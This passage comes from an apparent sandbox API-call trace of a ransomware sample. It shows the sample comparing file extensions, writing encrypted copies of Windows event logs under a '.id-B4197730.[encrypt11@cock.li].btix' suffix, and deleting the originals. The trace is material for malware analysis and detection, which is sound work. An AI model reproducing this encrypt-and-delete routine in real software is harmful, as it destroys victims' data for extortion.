(normalized: "c:\\logs\\application.evtx")) returned 1 [0047.812] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.812] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.812] lstrlenW (lpString=".doc") returned 4 [0047.812] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".docx") returned 5 [0047.812] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.812] lstrlenW (lpString=".pdf") returned 4 [0047.812] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".xls") returned 4 [0047.812] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".xlsx") returned 5 [0047.812] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.812] lstrlenW (lpString=".ppt") returned 4 [0047.812] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.812] lstrlenW (lpString=".zip") returned 4 [0047.812] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".rar") returned 4 [0047.812] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".bz2") returned 4 [0047.812] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.812] lstrlenW (lpString=".7z") returned 3 [0047.812] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString=".dbf") returned 4 [0047.813] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString=".1cd") returned 4 [0047.813] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString=".jpg") returned 4 [0047.813] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString=".doc") returned 4 [0047.813] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString=".docx") returned 5 [0047.813] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.813] lstrlenW (lpString=".pdf") returned 4 [0047.813] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString=".xls") returned 4 [0047.813] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString=".xlsx") returned 5 [0047.813] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.813] lstrlenW (lpString=".ppt") returned 4 [0047.813] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.813] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.813] lstrlenW (lpString=".zip") returned 4 [0047.813] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.814] lstrlenW (lpString=".rar") returned 4 [0047.814] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.814] lstrlenW (lpString=".bz2") returned 4 [0047.814] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.814] lstrlenW (lpString=".7z") returned 3 [0047.814] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.814] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.814] lstrlenW (lpString=".dbf") returned 4 [0047.814] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.814] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.814] lstrlenW (lpString=".1cd") returned 4 [0047.814] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.814] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0047.814] lstrlenW (lpString=".jpg") returned 4 [0047.814] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.814] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.814] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0047.814] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.814] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0047.814] CloseHandle (hObject=0x318) returned 1 [0047.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0047.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.815] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.815] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0047.819] GetLastError () returned 0x0 [0047.819] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0047.898] WriteFile (in: hFile=0x37c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0047.900] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.900] WriteFile (in: hFile=0x37c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x132, lpOverlapped=0x0) returned 1 [0047.900] SetEndOfFile (hFile=0x37c) returned 1 [0047.900] CloseHandle (hObject=0x37c) returned 1 [0047.902] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.902] SetEndOfFile (hFile=0x318) returned 1 [0047.903] CloseHandle (hObject=0x318) returned 1 [0047.903] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.903] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0047.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.903] lstrlenW (lpString=".doc") returned 4 [0047.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.903] lstrlenW (lpString=".docx") returned 5 [0047.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.903] lstrlenW (lpString=".pdf") returned 4 [0047.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.903] lstrlenW (lpString=".xls") returned 4 [0047.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.903] lstrlenW (lpString=".xlsx") returned 5 [0047.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.904] lstrlenW (lpString=".ppt") returned 4 [0047.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString=".zip") returned 4 [0047.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".rar") returned 4 [0047.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".bz2") returned 4 [0047.904] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".7z") returned 3 [0047.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString=".dbf") returned 4 [0047.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString=".1cd") returned 4 [0047.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString=".jpg") returned 4 [0047.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.904] lstrlenW (lpString=".doc") returned 4 [0047.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".docx") returned 5 [0047.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.904] lstrlenW (lpString=".pdf") returned 4 [0047.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".xls") returned 4 [0047.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.904] lstrlenW (lpString=".xlsx") returned 5 [0047.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.904] lstrlenW (lpString=".ppt") returned 4 [0047.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.905] lstrlenW (lpString=".zip") returned 4 [0047.905] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString=".rar") returned 4 [0047.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString=".bz2") returned 4 [0047.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString=".7z") returned 3 [0047.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.905] lstrlenW (lpString=".dbf") returned 4 [0047.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.905] lstrlenW (lpString=".1cd") returned 4 [0047.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0047.905] lstrlenW (lpString=".jpg") returned 4 [0047.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.905] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.905] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0047.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.916] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1052672) returned 1 [0047.916] CloseHandle (hObject=0x36c) returned 1 [0047.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0047.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.917] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.917] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0047.917] GetLastError () returned 0x0 [0047.917] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0048.113] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0048.127] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x1010, lpOverlapped=0x0) returned 1 [0048.134] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x1020, lpOverlapped=0x0) returned 1 [0048.137] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.137] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x162, lpOverlapped=0x0) returned 1 [0048.518] SetEndOfFile (hFile=0x32c) returned 1 [0048.518] CloseHandle (hObject=0x32c) returned 1 [0048.535] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.535] SetEndOfFile (hFile=0x36c) returned 1 [0048.536] CloseHandle (hObject=0x36c) returned 1 [0048.536] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.536] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0048.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.537] lstrlenW (lpString=".doc") returned 4 [0048.537] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".docx") returned 5 [0048.537] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.537] lstrlenW (lpString=".pdf") returned 4 [0048.537] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".xls") returned 4 [0048.537] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".xlsx") returned 5 [0048.537] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.537] lstrlenW (lpString=".ppt") returned 4 [0048.537] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.537] lstrlenW (lpString=".zip") returned 4 [0048.537] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".rar") returned 4 [0048.537] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".bz2") returned 4 [0048.537] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString=".7z") returned 3 [0048.537] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.537] lstrlenW (lpString=".dbf") returned 4 [0048.537] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.537] lstrlenW (lpString=".1cd") returned 4 [0048.537] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".jpg") returned 4 [0048.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".doc") returned 4 [0048.538] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".docx") returned 5 [0048.538] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.538] lstrlenW (lpString=".pdf") returned 4 [0048.538] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".xls") returned 4 [0048.538] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".xlsx") returned 5 [0048.538] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.538] lstrlenW (lpString=".ppt") returned 4 [0048.538] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".zip") returned 4 [0048.538] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".rar") returned 4 [0048.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".bz2") returned 4 [0048.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString=".7z") returned 3 [0048.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".dbf") returned 4 [0048.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".1cd") returned 4 [0048.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0048.538] lstrlenW (lpString=".jpg") returned 4 [0048.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.539] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.539] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0048.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.560] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0048.560] CloseHandle (hObject=0x36c) returned 1 [0048.560] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0048.561] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.561] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.561] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0048.561] GetLastError () returned 0x0 [0048.561] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.618] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.620] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.620] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x142, lpOverlapped=0x0) returned 1 [0048.620] SetEndOfFile (hFile=0x32c) returned 1 [0048.620] CloseHandle (hObject=0x32c) returned 1 [0048.622] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.622] SetEndOfFile (hFile=0x36c) returned 1 [0048.623] CloseHandle (hObject=0x36c) returned 1 [0048.623] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.623] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0048.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.623] lstrlenW (lpString=".doc") returned 4 [0048.623] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.623] lstrlenW (lpString=".docx") returned 5 [0048.623] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.623] lstrlenW (lpString=".pdf") returned 4 [0048.623] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.623] lstrlenW (lpString=".xls") returned 4 [0048.623] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.623] lstrlenW (lpString=".xlsx") returned 5 [0048.624] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.624] lstrlenW (lpString=".ppt") returned 4 [0048.624] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString=".zip") returned 4 [0048.624] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString=".rar") returned 4 [0048.624] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString=".bz2") returned 4 [0048.624] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.624] lstrlenW 